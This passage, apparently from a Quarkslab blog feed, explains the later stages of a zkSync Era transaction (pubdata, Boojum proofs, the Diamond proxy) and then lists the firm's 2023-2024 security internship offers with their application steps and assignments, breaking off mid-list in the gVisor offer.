</ol>
<p>In the case of Alice's transaction, the execution of the transaction will transfer funds from Alice to Bob.
On Ethereum, this would have been done by calling Bob's address directly with <code>value = 1_000_000_000_000_000_000</code> (i.e. 1 ETH) and <code>input data = ""</code>.
But EraVM works differently.
To call an address with some value, the <code>MsgValueSimulator</code> system contract is used.
This system contract will modify the Ether balance of Alice and Bob in the <code>L2EthToken</code> system contract.
Once balances are up-to-date, it calls Bob's account while setting Alice account as the sender.
This is done using an EraVM-specific opcode called <code>mimic_call</code> that allows impersonating other accounts, by changing the <code>msg.sender</code> value of any transaction.
Fortunately, this dangerous opcode can only be used by system contracts located in kernel space.
It is not available to user smart contracts as it would be a <strong>critical</strong> vulnerability.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/AliceValueTransferToBob.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/AliceValueTransferToBob.png" class="with-border" width="100%">
</a></p>
<p class="center-text"><em>Execution of Alice's transaction</em></p>
<p></center></p>
<h3>Public data outputs</h3>
<p>Execution of transactions in EraVM produce public data.
This data is stored on the L1 (Ethereum) and permits to reconstruct the full state of zkSync Era.
The zkSync team has developed its own new solution for managing public data which is part of the proof system introduced in the <a href="https://zksync.mirror.xyz/HJ2Pj45EJkRdt5Pau-ZXwkV2ctPx8qFL19STM5jdYhc"><strong>Boojum upgrade</strong></a>.
This solution allows the compression of public data on L2 before storing them on the L1 blockchain.
Public data compression is mainly done to optimize gas fees when storing data on Ethereum.</p>
<p>zkSync's pubdata is divided in 4 categories:</p>
<ul>
<li><strong>L2 to L1 Logs</strong>: the "provable" part of the communication from L2 to L1. They are linked to the EraVM execution proof (explained later in this blog post).</li>
<li><strong>L2 to L1 Messages</strong>: long messages that can't be sent in a log. Each of them is linked to a L2 to L1 log.</li>
<li><strong>Smart Contract Bytecodes</strong>: the bytecode deployed in the L2 smart contracts. Each of them is linked to a L2 to L1 log.</li>
<li><strong>Storage writes</strong>: this data concerns the storage slots state of the L2 smart contracts (recall that all accounts on zkSync are smart contracts).</li>
</ul>
<p>Back to Alice's transaction, the interesting category of pubdata is <strong>Storage writes</strong>, which are also called <strong>storage diffs</strong>.
More precisely, we know that the modified storage slots are Alice's balance and Bob's balance in the <code>L2EthToken</code> system contract as Alice sends 1 ETH to Bob.</p>
<p>zkSync Era is designed as a "statediff-based" rollup.
As such, it publishes the state changes on the L1 in a way that ensures data availability.
Ethereum is known to have a <a href="https://ethereum.org/en/developers/docs/data-structures-and-encoding/patricia-merkle-trie/">2-layer tree</a>
that attaches storage slot data to an account address (first layer of the tree) and then to the storage slot number (second layer).
Unlike Ethereum, zkSync's tree is qualified as "flat". It is a 1-layer tree that stores the data to a slot's derived key.
The derived key is calculated by hashing the storage slot number and the account address of this slot: <code>H(Slot number, Account)</code>.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/DataTreeDifferences.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/DataTreeDifferences.png" class="with-border" width="100%">
</a></p>
<p class="center-text"><em>Differences between zkSync Era and Ethereum in the storage slot data trees</code></em></p>
<p></center></p>
<p>In zkSync's pubdata solution, initial writes and repeated writes are handled differently.
The initial write will create the derived key and a sequential ID will be attached to this derived key.
The pair <code>derived key, value</code> will be published on the L1.
Once a sequential ID has been attached to the derived key,
it will be used for future writes named repeated writes.
So, for a repeated write which is a modification of an existing storage slot value, the sequential ID attached to the slot will be used.
This ID is called <code>enumeration_index</code> and each ID is permanently assigned to one storage slot.
Like on Ethereum, reading empty storage slots on zkSync Era returns a zero value.</p>
<p>Once all the L1 batch pubdata has been compressed, it is committed to the <code>L1Messenger</code> system contract.
This contract verifies that the pubdata is consistent and was compressed properly.
If data is valid, the compressed data is stored on zkSync's L1 smart contract using the EraVM-specific opcode <code>to_l1</code>.
This step is called "L1 batch commitment" and it is performed by calling the <code>commitBatches</code> function on the L1.
The hash of this L1 transaction will be reported by zkSync's nodes as the value of the <code>eth_commit_tx_hash</code> field associated with the L2 transaction details (seen previously).
Once the L1 batch data is stored on L1, all the transactions of the batch keep the status <strong>included</strong> and the L1 batch is set to the status <strong>committed</strong>.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/BatchPubdataSendingToL1.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/BatchPubdataSendingToL1.png" class="with-border" width="100%">
</a></p>
<p class="center-text"><em>Boojum's pubdata of L1 batch are committed to Ethereum</code></em></p>
<p></center></p>
<h2>Verified transaction</h2>
<p>The next step of Alice's transaction workflow is the verification of the transaction.
A transaction is said to be "verified" when the L1 batch in which it is included has been verified on the L1 smart contract.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step4.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step4.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Verified transaction</em></p>
</center></p>
<h3>zkSync proving system</h3>
<p>zkSync Era is a Zk Rollup.
As such, it uses a Zero-Knowledge Proof system to succinctly prove the execution of L2 transactions.
This succinctness is the main point of the use of ZKP in Zk Rollups.
The verification process of the ZKP allow to verify the correct computation of thousands of transaction.
There exist several ZKP systems.
zkSync Era has developed its own new ZKP system, which is part of the <strong>Boojum</strong> upgrade.</p>
<p>The <a href="https://zksync.mirror.xyz/HJ2Pj45EJkRdt5Pau-ZXwkV2ctPx8qFL19STM5jdYhc"><strong>Boojum</strong> proving system</a> can be seen as a toolbox to implement ZK circuits.
Those ZK circuits are used to perform arbitrary computations.
They are essential for proof systems such as Boojum to generate computation witnesses.
These witnesses can then be verified non-interactively,
proving that the ZK circuits were executed correctly.</p>
<p>EraVM is a zkEVM.
Specific ZK circuits were developed for the EraVM to fit the EVM behavior.
They are used to prove the correct execution of the VM.
The EraVM will produce a ZK witness each time an L1 batch is processed.</p>
<p>This witness allows the operator (i.e. the prover) to prove
the correct computation of the L1 batch.
Once an L1 batch has been committed to zkSync's L1 smart contract,
the witness can be provided to this smart contract to prove
that the EraVM computed the L1 batch correctly.
The L1 smart contract then delegates verification to a specialized smart contract
(deployed on the L1) acting as the verifier in the ZKP system.</p>
<h4>Proving execution</h4>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/BatchExecutionZKProof.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/BatchExecutionZKProof.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Generation of a ZK proof for L1 batch execution in EraVM</code></em></p>
</center></p>
<p>This verification step is done by calling the <code>proveBatches</code> function on the L1 smart contract.
The hash of this L1 transaction will be reported by zkSync's nodes as the value of the <code>eth_prove_tx_hash</code> field associated with the L2 transaction details (seen previously).
After the L1 batch data is verified on the L1, all the transactions of the batch are set to the <strong>verified</strong> status.
The L1 batch is also set to the <strong>verified</strong> status.</p>
<h3>L1 smart contract</h3>
<p>zkSync's L1 smart contract is a <strong><a href="https://eips.ethereum.org/EIPS/eip-2535">Diamond</a> Proxy</strong>.
This system is used to allow incremental smart contract updates,
and to get rid of the 24 KiB bytecode size limitation attached to smart contracts.</p>
<h4>Diamond Architecture</h4>
<p>The core idea is to segregate functionality from storage on one hand,
and into several related smart contracts on the other hand.
In zkSync Era's current state, these are:</p>
<table class="table table-striped">
<thead>
<th>Addresse</th>
<th>Facet Name</th>
<th>Number of registered selectors</th>
</thead>
<tbody>
<tr>
<th scope="row"><a href="https://etherscan.io/address/0xdc7c3d03845efe2c4a9e758a70a68ba6bba9fac4">0xdC7c3D...a9FaC4</a></th>
<td>Admin (DiamondCut)</td>
<td>8</td>
</tr>
<tr>
<th scope="row"><a href="https://etherscan.io/address/0x2e64926be35412f7710a3e097ba076740bf97cc0">0x2E6492...F97CC0</a></th>
<td>Admin (Governance)</td>
<td>5</td>
</tr>
<tr>
<th scope="row"><a href="https://etherscan.io/address/0x7ed066718dfb1b2b04d94780eca92b67ecf3330b">0x7Ed066...F3330b</a></th>
<td>Executor</td>
<td>4</td>
</tr>
<tr>
<th scope="row"><a href="https://etherscan.io/address/0x7444de636699f080ca1c033528d2bb3705b391ce">0x7444DE...B391Ce</a></th>
<td>Getters</td>
<td>35</td>
</tr>
<tr>
<th scope="row"><a href="https://etherscan.io/address/0x62aa95ac4740a367746a664c4c69034d52e968ef">0x0x62aA...E968EF</a></th>
<td>Mailbox</td>
<td>6</td>
</tr>
</tbody>
</table>
<blockquote>
<p>Note that Governance and DiamondCut functionality were split at the time of deployment.</p>
</blockquote>
<p>To understand how Alice's transaction gets published and verified onto the L1,
we will focus on the <code>Executor</code> facet.</p>
<p>At this level, zkSync only works with entire batches of L2 transactions.
This enables transaction compression on the L2 and lowers the transaction fees
as they get shared among the batch's transactions.
Alice's transaction is thus compressed and bundled with other transactions in a batch.
Rather than a full list of L2 transactions, the batch only contains the list of changes required
to reconstruct the state of the L2 blockchain, ensuring data availability (see the
"Public data outputs" section).</p>
<p>This batch first gets committed to the L1 smart contract using the <code>commitBatches</code> function,
which is only accessible to the set of validators.
The function ensures batches are valid, submitted in order and based on a valid known state,
but it makes no guarantee on the validity of the set of changes.
At this point, Alice's transaction is reduced to its effects and simply published to the L1.
This corresponds to the "included" state.</p>
<p>The proof comes next, when the <code>proveBatches</code> function gets called (only by a validator).
The validator provides a zero-knowledge proof of the batch, proving the good execution
of the EraVM on the set of public inputs, including Alice's transaction.
A specialized smart contract called the
<a href="https://github.com/code-423n4/2023-10-zksync/blob/main/code/contracts/ethereum/contracts/zksync/Verifier.sol">Verifier</a>
is responsible for verifying the proof.
This special contract shall be updated alongside EraVM's updates using protocol upgrades.</p>
<p>Once a batch has been proven, cross-chain operations
(stored in a priority queue accessible using the Mailbox facet) need to be executed.
Since the funds transferred by Alice remain on L2, no operation is needed for this transaction.
After all operations are executed, the batch can transition to the "executed" state when
<code>executeBatches</code> is called.
Alice's transaction is now considered <strong>finalized</strong>.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step5.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/zkSync-Transaction-Workflow-step5.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Finalized transaction</em></p>
</center></p>
<h2>Finalized transaction</h2>
<p>Once a batch is verified, all the transactions in it have the status <strong>verified</strong>.
Before the transactions become <strong>finalized</strong>, there is one last step to perform.</p>
<h3>L1 batch execution</h3>
<p>Multiple L1 batches have been <strong>committed</strong> and <strong>verified</strong> on the L1 smart contract.
The final step of the workflow is the execution of the L1 batches.
This means that the state obtained after the L1 batches must become the official state of the L2 in the L1 contract.</p>
<p>To optimize the gas cost on Ethereum, a single L1 transaction will be used to execute multiple L1 batches.
These transactions are sent by a zkSync operator. As of today, the L2 is highly centralized, and
the zkSync operator has a lot of power in the L2.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/BatchExecutionOnL1.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/BatchExecutionOnL1.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Execution of L1 batches on the L1 smart contract</code></em></p>
</center></p>
<p>This final step is done by calling the <code>executeBatches</code> function in the L1 diamond.
The hash of this L1 transaction will be reported by zkSync's nodes as the value of the <code>eth_execute_tx_hash</code> field associated with the L2 transaction details (seen previously).
In practice, the state finalization is done by importing the L2 logs Merkle tree for each L1 batch.</p>
<p>Once this step is completed, the L1 batches are marked as <strong>finalized</strong>.
At this point, there is no way to cancel L2 transactions. L2 transactions can be qualified as <strong>finalized</strong>.</p>
<h2>Conclusion on the transaction workflow</h2>
<p>An L2 transaction on zkSync Era goes through multiple steps.
The transaction is quickly confirmed at the Layer 2 level,
and users are informed that their transactions are valid at this stage.
But these confirmations given to user wallets only ensure
the transactions' execution on the L2.
More low-level checks are required to ensure that the protocol can be trusted.
For example, the execution of the L2 Virtual Machine needs to be proven to ensure that
the executed transactions are valid.</p>
<p>By using Zero-Knowledge Proofs, zkSync Era is able to prove the correct execution of its EraVM and
that the outputs of this execution are valid.
Producing and verifying a proof of correct execution on-chain lets zkSync Era bring "Ethereum's security" to its L2.</p>
<p>ZKP are a powerful tool to fix Ethereum's scalability issues.
Scalability is improved by batching many transactions together and only submitting a single proof.
Verifiers do not need to compute the whole set of transactions to verify they were correctly executed,
and can focus solely on the transactions' effects.
In the case of zkSync Era, hundreads of transactions are validated
as correct using a single Ethereum transaction that verifies the proof.
According to <a href="https://eips.ethereum.org/EIPS/eip-4844">EIP-4844</a>, Zk Rollups
fees are ~40-100x lower than Ethereum fees. This reduction is possible thanks to ZKP.</p>
<p>But the implementation of the EraVM may be vulnerable.
For example, it could execute invalid transactions as valid ones and vice-versa.
This is why the zkSync team organized a Code4rena contest with a $1.1M prize pool.
This audit contest aims at finding bugs in zkSync Era, so they can be fixed before release, and
to avoid production bugs which often have a high impact in the blockchain ecosystem.</p>
<hr>
<h2>Additional context</h2>
<p>Now that we illustrated zkSync throughout Alice's transaction's lifetime,
let's discuss a few points of interest we glossed over earlier.</p>
<h3>An analysis of zkSync's Diamond implementation</h3>
<!-- TODO: Freezing -->
<p>As a remainder, Diamond smart contracts are specially designed for granular upgradability
and limitless functionality.</p>
<p>To achieve this, externally-accessible functions are registered using their Solidity-style
selector<sup id="fnref:def-selector"><a class="footnote-ref" href="#fn:def-selector">1</a></sup>
Each selector is mapped to a <strong>Facet</strong> containing the associated logic.
When called, the Diamond contract's fallback function retrieves the appropriate Facet,
performs a <code>DELEGATECALL</code> with its calldata and relay the return status of the Facet.
Using a <code>DELEGATECALL</code> means that the Facet has full power over the Diamond Smart Contract storage,
so registered Facets and functions need to be controlled carefully.</p>
<p>To update the Diamond's registered functions, one must use the <code>diamondCut</code> internal
function.<sup id="fnref:rec-diamondCut"><a class="footnote-ref" href="#fn:rec-diamondCut">2</a></sup>
In zkSync's current design, this is only possible at deployment time (in the <code>constructor</code>)
and using the Admin Facet's <code>executeUpgrade</code> function, which is protected by <code>onlyGovernor</code>.</p>
<p>A Facet has no associated storage.
Instead, it accesses the Diamond's storage space directly thanks to the <code>DELEGATECALL</code>.
To achieve interoperability among Facets and to prevent storage space collision,
the standard <a href="https://eips.ethereum.org/EIPS/eip-2535#storage">suggests</a> two patterns:
<a href="https://eips.ethereum.org/assets/eip-2535/storage-examples/DiamondStorage.sol">Diamond Storage</a>
and <a href="https://eips.ethereum.org/assets/eip-2535/storage-examples/AppStorage.sol">AppStorage</a>.
zkSync uses both patterns:</p>
<ul>
<li>a <code>DiamondStorage</code> structure, responsible for Diamond-related functionality and
located in <code>keccak256("diamond.standard.diamond.storage") - 1</code>,</li>
<li>an <code>AppStorage</code> structure, holding the app's state and
located in the first slot of the <code>Base</code> Smart Contract, inherited by all Facets as the first parent.</li>
</ul>
<p>In summary, zkSync's implementation of the Diamond standard uses a set of Facets containing related
functionality, and aggregates them in a single Smart Contract.
Storage is contained in only two structures: <code>DiamondStorage</code> and <code>AppStorage</code>.
Functionality is distributed among 4 Facets.</p>
<!-- TODO: schema of Diamond Proxy architecture -->
<h4>The Diamond library and its proxy</h4>
<p>Although the <a href="https://eips.ethereum.org/EIPS/eip-2535">EIP-2535</a> allows Diamond Smart Contracts to
have native externally-accessible functions,
zkSync's implementation has none and delegates everything to Facets in its fallback function,
including Diamond-related functionality.
This explains why it is called a Diamond <em>Proxy</em>.
The actual Diamond-related functionality is located in the
<a href="https://github.com/code-423n4/2023-10-zksync/blob/main/code/contracts/ethereum/contracts/zksync/libraries/Diamond.sol"><strong>Diamond</strong> library</a>
used only by the Proxy, the <code>Admin</code> Facet and the <code>Getters</code> Facet.</p>
<p>The core object of the Diamond is the <code>selectorToFacet</code> mapping.
It is used to know which facet to call for any particular function selector.</p>
<p>Although a <code>mapping(bytes4 => address)</code> is sufficient and minimal in theory
(hence its use in the standard's illustrative examples),
zkSync chose to use more complex data structures to allow more efficient introspection and updates,
as well as freezing capabilities.
In exchange, the library needs to pay special attention to ensure internal data consistency and
accurate bookkeeping.</p>
<p>The Diamond implements a bidirectional, one-to-many mapping between Facet addresses and selectors:</p>
<ul>
<li>each Facet address maps to a list of selectors in <code>facetToSelectors</code>, and</li>
<li>each selector maps to a single Facet address in <code>selectorToFacet</code>.</li>
</ul>
<p>In addition, it also keeps track of a list of used Facet addresses in <code>address[] facets</code> and
of a global frozen status in <code>bool isFrozen</code>.</p>
<p><center>
<a href="resources/2023-10-26_zksync-era-transaction-workflow/diamond-erd.png">
<img src="resources/2023-10-26_zksync-era-transaction-workflow/diamond-erd.png" class="with-border" width="100%">
</a>
<p class="center-text"><em>Conceptual Entity Relation Diagram of zkSync's Diamond implementation</em></p>
</center></p>
<!--
<div class="highlight"><pre><span></span><code>erDiagram
SELECTOR {
bool isFreezable
}
FACET_LIST ||--o{ FACET : ""
FACET ||--|{ SELECTOR : "address/bytes4"
</code></pre></div>
-->
<p>The main mapping uses specialized objects to hold additional information about its elements:</p>
<ul>
<li><code>SelectorToFacet</code> has these fields
(note that all these values are packed in a single slot by Solidity,
improving general gas consumption)<sup id="fnref:prec-SelectorToFacet"><a class="footnote-ref" href="#fn:prec-SelectorToFacet">3</a></sup>:</li>
<li><code>address facetAddress</code> (data),</li>
<li><code>bool isFreezable</code> (metadata) and</li>
<li><code>uint16 selectorPosition</code> (bookkeeping).</li>
<li><code>FacetToSelectors</code> has these fields:</li>
<li><code>bytes4[] selectors</code> (data), and</li>
<li><code>uint16 facetPosition</code> (bookkeeping).</li>
</ul>
<p>The one-to-many relationship in the bidirectional mapping is represented
in <code>FacetToSelectors</code> by the array of selectors
and in <code>SelectorToFacet</code> by the selector's position in the corresponding array.
This means these values need to be kept in sync by the library,
and that at most <code>2^16</code> selectors per Facet can be registered
(which should be more than enough).
The advantage of this bookkeeping is that the library does not need to perform
(potentially expensive) searches to find how to update its internal data structures,
at the cost of more upfront computations and a slightly higher storage footprint.</p>
<div class="footnote">
<hr>
<ol>
<li id="fn:def-selector">
<p>a 4-byte long hash of the function's signature.
<br>See <a href="https://docs.soliditylang.org/en/v0.8.12/abi-spec.html#function-selector">the official documentation</a>
and <a href="https://www.4byte.directory/">4byte.directory</a> for an online rainbow table. <a class="footnote-backref" href="#fnref:def-selector" title="Jump back to footnote 1 in the text">↩</a></p>
</li>
<li id="fn:rec-diamondCut">
<p>The <a href="https://eips.ethereum.org/EIPS/eip-2535">EIP-2535</a>
recommends this function to be <code>external</code> but does not require it.
<br>This would require access control to be implemented at this function's level. <a class="footnote-backref" href="#fnref:rec-diamondCut" title="Jump back to footnote 2 in the text">↩</a></p>
</li>
<li id="fn:prec-SelectorToFacet">
<p>zkSync could have used up to <code>uint88</code> while keeping the structure inside a single slot. <a class="footnote-backref" href="#fnref:prec-SelectorToFacet" title="Jump back to footnote 3 in the text">↩</a></p>
</li>
</ol>
</div>Internship Offers for the 2023-2024 Season2023-10-16T00:00:00+02:002023-10-16T00:00:00+02:00Quarkslabtag:blog.quarkslab.com,2023-10-16:/internship-offers-for-the-2023-2024-season.html<p>The internship season is back at Quarkslab! Our internship topics cover a wide range of our expertise and aim at tackling new challenges, namely:</p><ul>
<li>🔴 <a href="#crypto">Automation of Cryptographic Software Vulnerability Research</a></li>
<li>🟢 <a href="#qap">Design of an Interactive Learning Framework for QShield Protection Tools</a></li>
<li>🔴 <a href="#gvisor">Exploring the gVisor Sandboxing Technology</a></li>
<li>🔴 <a href="#llvm">LLVM-based Code Protection Assistant</a></li>
<li>🔴 <a href="#pyrrha">Map your firmware with Pyrrha</a></li>
<li>🟠 <a href="#rfid">Offensive RFID/NFC open-source tools development</a></li>
</ul>
<p>We are also welcoming people with wide but realistic creativity, so if you have an idea and want to join the team, don't hesitate to reach out to discuss it with our experts!</p>
<p>Our goal is to publish most of the results of our internships. Here are some examples of publications from previous internships:</p>
<ul>
<li>A <a href="https://blog.quarkslab.com/starlink.html">blogpost</a> on Starlink's User Terminal internals;</li>
<li>A <a href="https://hardwear.io/netherlands-2023/speakers/beno%C3%AEt-and-sami.php">Hardwear.io talk</a> on breaking Secure Boot on the Silicon Labs Gecko platform;</li>
<li>A Kubernetes penetration testing tool, named <a href="https://github.com/quarkslab/kdigger">kdigger</a>;</li>
<li>A <a href="https://www.blackhat.com/eu-21/briefings/schedule/#-a-titan-m-odyssey-24471">Black Hat EU talk</a> on the Google Titan M chip;</li>
<li>A <a href="https://blog.quarkslab.com/defeating-ebpf-uprobe-monitoring.html">blogpost</a> on defeating eBPF uprobe monitoring.</li>
</ul>
<p>Quarkslab's team is always pleased to welcome new talents who want to work on complex security research subjects. If you want to face new challenges and work in a dynamic environment where curiosity and teamwork are at the heart of our way to do R&D, please apply!</p>
<p>In particular, we would be more than happy to welcome more applications from female candidates, and under-represented minorities.
Quarkslab is dedicated to making the cybersecurity world more welcoming and inclusive for all, and that starts with our internships.
With that in mind, and because we know impostor's syndrome is a big obstacle for women in particular -- we've been there -- don't hesitate to reach out to us at <code>icandoit-AT-quarkslab-DOT-com</code> to discuss your skills, and we will help you navigate our offers.</p>
<h1>How to Apply?</h1>
<p>To apply for an internship position, you <strong>must be a student</strong>, able to communicate effectively technical matters in written and spoken English, and willing to present the results of your internship to a large group of curious Quarkslab colleagues. Beforehand, you need to prepare the following elements:</p>
<ul>
<li>A resume;</li>
<li>A cover letter: avoid the generic letter saying that you are so motivated and that we are so interesting. We welcome a more personal letter which explains why the topic is of particular interest to you, why you, and why us;</li>
<li>Your proposed solution to the assignment attached to the offer you are interested in;</li>
<li>Your preference between <code>pain au chocolat</code> or <code>chocolatine</code>.</li>
</ul>
<p>Package these elements and send them via email to <code>internship-AT-quarkslab-DOT-com</code>, with the <strong>subject field containing the internship name</strong> mentioned in the respective offer.</p>
<p>Do not forget that the key aspect of a good application is being curious and motivated, not meeting all requirements should not prevent you from sending us your application, and we can discuss your skills. Keep in mind that internships are done to learn. Let's go!</p>
<h1>Selection Process</h1>
<p>Each internship offer comes with a little assignment that should not require too much time to be completed. The result will show us not only the type of skills and knowledge you already possess, but also how ingenious you are and how well you can present your reasoning. It will serve as the basis for the interview you will have in the selection process. The assignment works both ways and is also intended to make sure that you like the topic as well as the technical aspects of the internship.
If unsure about a specific aspect of a challenge, do not hesitate to drop us an email. We want to discuss not frustrate you!</p>
<p>The first applications usually reach us by November, and we start reviewing them right away. Every year, the filling is alike: half of the internships are filled by Christmas, while the others remain open until March.</p>
<p>Did you notice the colored circles next to the title of the offers at the top of this blogpost? They reflect the state of internships:</p>
<ul>
<li>🟢 Waiting for applications;</li>
<li>🟠 Reviewing applications, we are still accepting internship assignments but hurry up;</li>
<li>🔴 Internship is filled.</li>
</ul>
<h1>Being an Intern at Quarkslab</h1>
<p>We consider internships as opportunities to spot profiles that match how we work. They are intended to guide students to enter the professional world as potential future colleagues if they feel like it. We love interns because they bring fresh air to the company and because we see them grow, not only during the internship but also after, when they are hired and can get to work on so many other topics. There are two goals in every internship we offer:</p>
<ol>
<li>Exploring a topic we don't necessarily know very well, hence training the new expert on the topic;</li>
<li>Hiring you after the internship to keep and share your new expertise with colleagues.</li>
</ol>
<p>Training and growing people in the security industry is part of the company's DNA. That is why we provide in-depth blogposts, tools, trainings, weekly internal conferences (called Fridaycon, guess when they are), we teach in universities and schools, write articles in tech magazines and send our less experienced hires to a 6-month intensive training program (<a href="https://www.esiea.fr/formation-continue-en-cybersecurite/badge-reverse-engineering/">BADGE-RE</a> or <a href="https://www.esiea.fr/formation-continue-en-cybersecurite/badge-securite-offensive/">BADGE-SO</a>). Sharing is caring, but sharing is also learning. We provide the environment for that the rest relies on you.</p>
<p>Intern package in France:</p>
<ul>
<li>Salary: €1800 gross per month (approximately €1550 net);</li>
<li>"Tickets restaurant" (restaurant coupons);</li>
<li>In-depth and challenging topics.</li>
</ul>
<h1>Internships Topics</h1>
<p><a id="crypto"></a></p>
<h2>Automation of Cryptographic Software Vulnerability Research</h2>
<h3>Description</h3>
<p>At Quarkslab, audits of cryptographic designs and implementations are a common practice. In order to facilitate the evaluation of the conformity of a crypto-system, we developed a tool to perform automatic conformity checks by the means of test vectors on the most common primitives. The goal of this internship is to enhance this tool with advanced features for deeper conformity checks and to build up internal corpus of test vectors for resiliency checks (as it is done in some other tools).</p>
<h2>What you will do</h2>
<p>The first step of the internship will consist in appropriating the ways of the tool by adding new primitives. Then, the candidate will start enhancing the tool with different features such as the following ones:</p>
<ul>
<li>Differential fuzzing of cryptographic implementations;</li>
<li>Crafting of homemade test vectors for common primitives for resiliency checks;</li>
<li>Detection of cryptographic primitives in native code;</li>
<li>Different tests on real-world examples;</li>
<li>Other topics to be discussed.</li>
</ul>
<h3>Required Skills</h3>
<ul>
<li>Knowledge of basic cryptography (e.g. asymmetric and symmetric crypto, and examples of such primitives);</li>
<li>Somewhat proficient in at least one programming language (C, C++, Rust, Python...);</li>
<li>Preferably capable of understanding academic articles and/or technical blogposts;</li>
<li>Good communication skills.</li>
</ul>
<h3>Assignment</h3>
<p>The assignment contains a C reference implementation of the AES with some mistakes. The goal is to perform a small review of the implementation and list different misbehavior compared to the original design. The focus of the candidate should be on the report more than on the technical solutions, as we are more interested in reviewing the thought process than the current technical skills.</p>
<p><strong>File to download:</strong></p>
<ul>
<li><a href="resources/2023-10-16_quarkslab-internship-offers-for-2023-2024/crypto-internship-assignment.zip">crypto-internship-assignment.zip</a></li>
</ul>
<h3>Location</h3>
<ul>
<li>Paris</li>
</ul>
<h3>Duration</h3>
<ul>
<li>6 months</li>
</ul>
<hr>
<p><a id="qap"></a></p>
<h2>Design of an Interactive Learning Framework for QShield Protection Tools</h2>
<h3>Description</h3>
<p>At Quarkslab, we have been developing application protection tools since 2014, featuring obfuscation and runtime application self-protections (RASP). One of these tools (<a href="https://www.quarkslab.com/source-code-obfuscation-software/">QShield App Protection</a>) relies on a compiler framework, <a href="https://llvm.org">LLVM</a>, and thus comes as a replacement for the regular compiler used by our customers.
One of the challenges they face, however, is to gain expertise efficiently, so they can be proficient in using our tools to the maximum of their functionalities.</p>
<p>The main goal of the internship will be to create tutorials, documentation and interactive tools to help them in this task. The idea of an interactive learning framework is inspired by Rustlings, online courses running Jupyter notebooks, and the like. The design and technology are left for the intern to choose; the end product can be web-based, CLI-based, or whatever else fits the purpose!</p>
<h3>What you will do</h3>
<ul>
<li>Review the documentation and play with QShield modules that are used to protect applications (through obfuscation and RASP), data and cryptographic keys (through Whitebox);</li>
<li>Improve samples, tutorials, examples and docs of current QShield products;</li>
<li>Create an interactive learning framework with a <em>learn-by-doing</em> approach, offering problems to solve by adding protection using QShield products.</li>
</ul>
<h3>Required Skills</h3>
<ul>
<li>Have an interest in compilers and software protection; (you don't need to be an expert in compilation ;))</li>
<li>Be able to write technical documentation</li>
<li>Be able to demonstrate experience with scripting and the Linux environment;</li>
<li>Communicate effectively about technical matters in English, written and spoken.</li>
</ul>
<h3>Assignment</h3>
<ul>
<li>Look at the Tigress obfuscator documentation, in particular the <a href="https://tigress.wtf/transformations.html">proposed protections</a>;</li>
<li>Choose one of the obfuscation passes and write a small tutorial on how to use it. It should be targeted at beginners and cover the chosen topic comprehensively, providing step-by-step guidance and explanations;</li>
<li>Design a small C/C++ coding exercise that must be solved by protecting the code using that pass;</li>
<li>Write a script validating the usage of the pass: if it has been used correctly and the target to protect is protected, print "Success!"</li>
</ul>
<p>The candidate should submit the following, packaged in an archive:</p>
<ul>
<li>The tutorial in a document format (Markdown, RST, ...) with any code, images or visual aids that are part of the tutorial.</li>
<li>The coding exercise, written in C or C++, and its accompanying validating script, written in bash or python.</li>
</ul>
<h3>Duration</h3>
<ul>
<li>6 months</li>
</ul>
<h3>Location</h3>
<ul>
<li>Paris or Rennes</li>
</ul>
<hr>
<p><a id="gvisor"></a></p>
<h2>Exploring the gVisor Sandboxing Technology</h2>
<h3>Description</h3>
<p><a href="https://gvisor.dev/">gVisor</a> is an open-source Linux-compatible sandbox used to run user applications in container-like fashion. Similar to a container, it isolates the user applications from the host environment. However, the isolation mechanisms it uses are quite different. To some extent, they can be seen as similar to the ones used by virtual machines.
In detail, gVisor is an application kernel, written in Go, which implements a substantial portion of the Linux system call interface. This way, it provides an additional layer of isolation between running applications and the host operating system compared to other common container technologies. gVisor includes an Open Container Initiative (OCI) runtime called "runsc" that makes it easy to work with existing container tooling such as Docker, Containerd and Kubernetes. gVisor’s approach is said similar to how <a href="https://user-mode-linux.sourceforge.net/">User Mode Linux</a> works but with a lower footprint on resource consumption.</p>
<h3>What you will do</h3>
<ul>
<li>Study gVisor’s architecture — a general overview of its different components (Sentry, Gofer, runsc), their software architecture and roles, how they interact with user applications and which each other;</li>
<li>Understand how gVisor can be used in Kubernetes and by other container technologies;</li>
<li>Study the advantages and disadvantages of gVisor compared to traditional container technologies;</li>
<li>Define and implement an attack model suitable for gVisor;</li>
<li>The results of your research will be shared among our peers.</li>
</ul>
<h3>Required Skills</h3>
<ul>
<li>Desire to learn and dive into deep technical topics;</li>
<li>Ability to explain, work in a team and share the knowledge with others;</li>
<li>Good knowledge on container technologies (e.g.: Docker, Containerd, Runc, Podman, LXC, Kubernetes);</li>
<li>A decent understanding of Go would be considered a plus.</li>
</ul>
<h3>Assignment</h3>
<p>The assignment for this year’s internship involves four separate and independent challenges. Each one of them is validated with a separate proof of compromise (flag). You are provided with two Linux <em>x86_64</em> <a href="https://files.quarkslab.com/2eaf238f-da94-4e5d-833a-9c87f526660a/cloud-challenges-quarkslab-2024.tar.gz">virtual machines</a>. On the VMs are installed the following services:</p>
<ul>
<li>A vulnerable Python Web application running inside a Docker container (VM1);</li>
<li>A program written in Go running inside a Docker container. You’ll also be provided with the compiled binary which you’ll have to reverse engineer to get the flag (VM1);</li>
<li>A badly configured Docker container which misconfiguration you’ll have to exploit (VM1);</li>
